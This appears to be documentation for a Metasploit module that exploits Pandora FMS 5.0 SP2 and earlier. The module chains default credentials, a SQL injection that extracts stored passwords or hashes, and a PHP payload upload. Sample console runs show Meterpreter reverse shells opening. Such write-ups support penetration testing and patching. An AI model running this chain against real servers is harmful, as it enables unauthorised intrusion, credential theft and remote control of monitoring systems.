Pandora FMS >= 5.0 SP2 SQLi and RCE

Remote Code Execution in Pandora FMS 5.0 SP2 and below (Tested on 4.0.2/4.1.1/5.0SP2 appliances).

How to replicate the vulnerable environment:

Download Pandora FMS 5.2 SP2: http://sourceforge.net/projects/pandora/files/Pandora%20FMS%205.0/FinalSP2/PandoraFMS5.0SP2-131226_64bit.iso/download
Boot the ISO/CD and install it to disk

This module performs several steps in order to gain RCE.  First, the module attempts to authenticate using default credentials.  If this fails a SQL injection vulnerability affecting the mobile login form is exploited.  Pandora FMS implements an "Auto login" hash which stores plaintext passwords in the database.  Leveraging the SQLi, the plain-text password is extracted and used to authenticate.  Once authenticated, this module will leverage the file manager functionality in order to upload a PHP payload.

If all methods fail the SQLi is leveraged in order to extract the admin MD5 password hash for offline cracking.


Using default credentials:
```
msf > use exploit/linux/http/pandorafms_sqli 
msf exploit(pandorafms_sqli) > show options

Module options (exploit/linux/http/pandorafms_sqli):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   PASS       pandora            no        The password to authenticate with
   Proxies                       no        Use a proxy chain
   RHOST                         yes       The target address
   RPORT      80                 yes       The target port
   TARGETURI  /pandora_console/  yes       The URI of the vulnerable Pandora FMS instance
   USER       admin              no        The username to authenticate with
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Pandora FMS version <= 5.0 SP2


msf exploit(pandorafms_sqli) > set RHOST 192.168.0.117
RHOST => 192.168.0.117
msf exploit(pandorafms_sqli) > exploit

[*] Started reverse handler on 192.168.0.134:4444 
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:pandora)
[*] 192.168.0.117:80 - Successfully authenticated!
[*] 192.168.0.117:80 - Attempting to retrieve session cookie
[*] 192.168.0.117:80 - Successfully retrieved session cookie: PHPSESSID=8vulgtr2l7c38b7ev6kv1jlg27
[*] 192.168.0.117:80 - Attempting to inject payload
[*] 192.168.0.117:80 - Successfully injected payload
[*] Sending stage (39195 bytes) to 192.168.0.117
[*] Meterpreter session 1 opened (192.168.0.134:4444 -> 192.168.0.117:40361) at 2014-02-11 13:01:03 -0500
[*] 192.168.0.117:80 - Cleaning script remnants
[*] 192.168.0.117:80 - Script removed successfully
```

Using "Auto login" hash mechanism:
```
[*] Started reverse handler on 192.168.0.134:4444 
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:badpassword)
[-] 192.168.0.117:80 - Authentication failed!
[*] 192.168.0.117:80 - Attempting to extract auto login hash
[*] 192.168.0.117:80 - Extracted auto login password (foobar123)
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:foobar123)
[*] 192.168.0.117:80 - Successfully authenticated!
[*] 192.168.0.117:80 - Attempting to retrieve session cookie
[*] 192.168.0.117:80 - Successfully retrieved session cookie: PHPSESSID=hifh2b2vnscfjn196p8p4tskh3
[*] 192.168.0.117:80 - Attempting to inject payload
[*] 192.168.0.117:80 - Successfully injected payload
[*] Sending stage (39195 bytes) to 192.168.0.117
[*] Meterpreter session 2 opened (192.168.0.134:4444 -> 192.168.0.117:40362) at 2014-02-11 13:02:46 -0500
[*] 192.168.0.117:80 - Cleaning script remnants
[*] 192.168.0.117:80 - Script removed successfully
```

Resort to password extraction:
```
[*] Started reverse handler on 192.168.0.134:4444 
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:badpassword)
[-] 192.168.0.117:80 - Authentication failed!
[*] 192.168.0.117:80 - Attempting to extract auto login hash
[-] 192.168.0.117:80 - No auto login password has been defined!
[*] 192.168.0.117:80 - Attempting to extract admin password hash
[*] 192.168.0.117:80 - Extracted admin password hash - [ 1da7ee7d45b96d0e1f45ee4ee23da560 ]
[-] Exploit failed: 192.168.0.117:80 - Unable to perform remote code execution!
```